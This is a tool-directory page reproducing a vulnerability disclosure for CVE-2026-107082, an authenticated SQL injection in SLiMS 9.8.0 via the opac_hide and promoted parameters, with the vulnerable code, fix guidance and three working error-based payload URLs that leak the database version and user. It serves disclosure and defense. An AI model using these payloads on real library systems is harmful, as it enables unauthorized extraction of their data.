Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/primandito/cve-2026-107082
Web Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubprimandito/cve-2026-107082

CVE-2026-107082

Write-up and proof-of-concept for CVE-2026-107082, an authenticated SQL injection in SLiMS 9.8.0 via the opac_hide and promoted GET parameters, with PoCs and fix guidance.

View Repository
24 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    899
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    831
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    661
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    444
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    443
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    395

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-107082 — SQL Injection via opac_hide / promoted GET Parameters in SLiMS 9.8.0 Admin Bibliography Module

CVE Version Status CVE State

Summary

SLiMS 9.8.0 allows an authenticated staff user to perform SQL Injection via the opac_hide and promoted GET parameters of admin/modules/bibliography/index.php. The values are passed through $dbs->escape_string() and then concatenated unquoted into the SQL criteria string (AND opac_hide =<value>). Because the context is numeric and unquoted, escape_string() does not mitigate the attack. Any payload that does not rely on quote characters executes raw SQL, leading to error-based information disclosure and arbitrary data extraction.

Impact: Any authenticated staff account (any role) can perform error-based / UNION-based data extraction from the admin panel.

FieldValue
CVE IDCVE-2026-107082
Official Recordcve.org/CVERecord?id=CVE-2026-107082
Affected VersionSLiMS 9.8.0 (master)
Vulnerability TypeCWE-89: SQL Injection
Attack VectorNetwork
Privileges RequiredLow (any authenticated staff)
Affected Componentadmin/modules/bibliography/index.php (opac_hide, promoted GET parameters)
Original Reportslims/slims9_bulian#392

Affected Files

FileVulnerable Lines
admin/modules/bibliography/index.php1352–1360

Vulnerable Code

admin/modules/bibliography/index.php

Lines 1352–1360 — values are concatenated into an unquoted numeric context:

vulnerable code

// lines 1352-1360
if (isset($_GET['opac_hide']) && $_GET['opac_hide'] != '') {
    $opac_hide = $dbs->escape_string($_GET['opac_hide']);
    $str_criteria .= ' AND opac_hide =' . $opac_hide;
}

if (isset($_GET['promoted']) && $_GET['promoted'] != '') {
    $promoted = $dbs->escape_string($_GET['promoted']);
    $str_criteria .= ' AND promoted =' . $promoted;
}

Contributing factor: the admin-side global sanitizer at admin/default/session.inc.php:35 runs with filter: [false, true, true], so escape_sql is disabled for admin requests. The module only applies escape_string(), which cannot neutralize quote-free SQL injection payloads in an unquoted numeric context.


Proof of Concept

Prerequisites

  • SLiMS 9.8.0 running locally (e.g. via the repository's own docker-compose.yml: php:8.3.13-apache + mariadb:lts)
  • Logged in as any valid staff account (any role)

PoC 1 — Error-Based Version Leak via opac_hide

Login to /admin, then open the following URL in the browser (spaces and # are URL-encoded):

http://localhost:8881/admin/modules/bibliography/index.php?opac_hide=0%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,version()))%23

Output:

<h1>XPATH syntax error: '~12.3.3-MariaDB-ubu2404'</h1>

PoC version leak

PoC 2 — Leak DB User Context

Variant leaking the DB user context (confirms arbitrary subqueries execute):

http://localhost:8881/admin/modules/bibliography/index.php?opac_hide=0%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20user())))%23

Output:

<h1>XPATH syntax error: '[email protected]'</h1>

PoC user leak

PoC 3 — Same Injection via promoted

The promoted parameter is equally vulnerable:

http://localhost:8881/admin/modules/bibliography/index.php?promoted=0%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,version()))%23

Output:

<h1>XPATH syntax error: '~12.3.3-MariaDB-ubu2404'</h1>

PoC promoted parameter


Environment

system environment

ComponentVersion
SLiMS9.8.0 (master)
Operating SystemUbuntu 24.04
Web ServerApache 2.4.62 (Debian)
PHP8.3.13
MariaDB12.3.3-MariaDB-ubu2404
MySQL Clientmysqld 8.3.13
BrowserFirefox 156

Verified using the repository's own docker-compose.yml.


Recommended Fix

Parameter values of numeric columns should be cast to int or strictly validated against 0/1 before concatenation.

1. Cast to Integer (recommended)

if (isset($_GET['opac_hide']) && $_GET['opac_hide'] !== '') {
    $opac_hide = (int)$_GET['opac_hide'];
    if ($opac_hide === 0 || $opac_hide === 1) {
        $str_criteria .= ' AND opac_hide = ' . $opac_hide;
    }
}

if (isset($_GET['promoted']) && $_GET['promoted'] !== '') {
    $promoted = (int)$_GET['promoted'];
    if ($promoted === 0 || $promoted === 1) {
        $str_criteria .= ' AND promoted = ' . $promoted;
    }
}

2. Whitelist Validation

If the parameter is meant to accept only specific values:

$allowed_opac_hide = ['0', '1'];
if (isset($_GET['opac_hide']) && in_array($_GET['opac_hide'], $allowed_opac_hide, true)) {
    $str_criteria .= ' AND opac_hide = ' . (int)$_GET['opac_hide'];
}

3. Enable escape_sql Globally for Admin

Fix admin/default/session.inc.php:35 so the first filter is true. This is a defense-in-depth measure, not the primary fix.


Timeline

DateEvent
2026-10-05Issue #392 reported to SLiMS repository
2026-10-15Public write-up published (this repository)
2026-10-20Official CVE record published on cve.org
—Awaiting maintainer response on fix

References

  • Official CVE Record — CVE-2026-107082
  • Original report — slims/slims9_bulian#392
  • Related report — slims/slims9_bulian#391 (CVE-2026-107081)
  • CWE-89: SQL Injection
  • OWASP: SQL Injection

Disclaimer

This write-up is provided for educational and defensive purposes only. All testing was performed on a locally hosted instance owned by the author. Do not use these techniques against systems without explicit written authorization.


Credits

Primandito Adi Setiya

Download Tool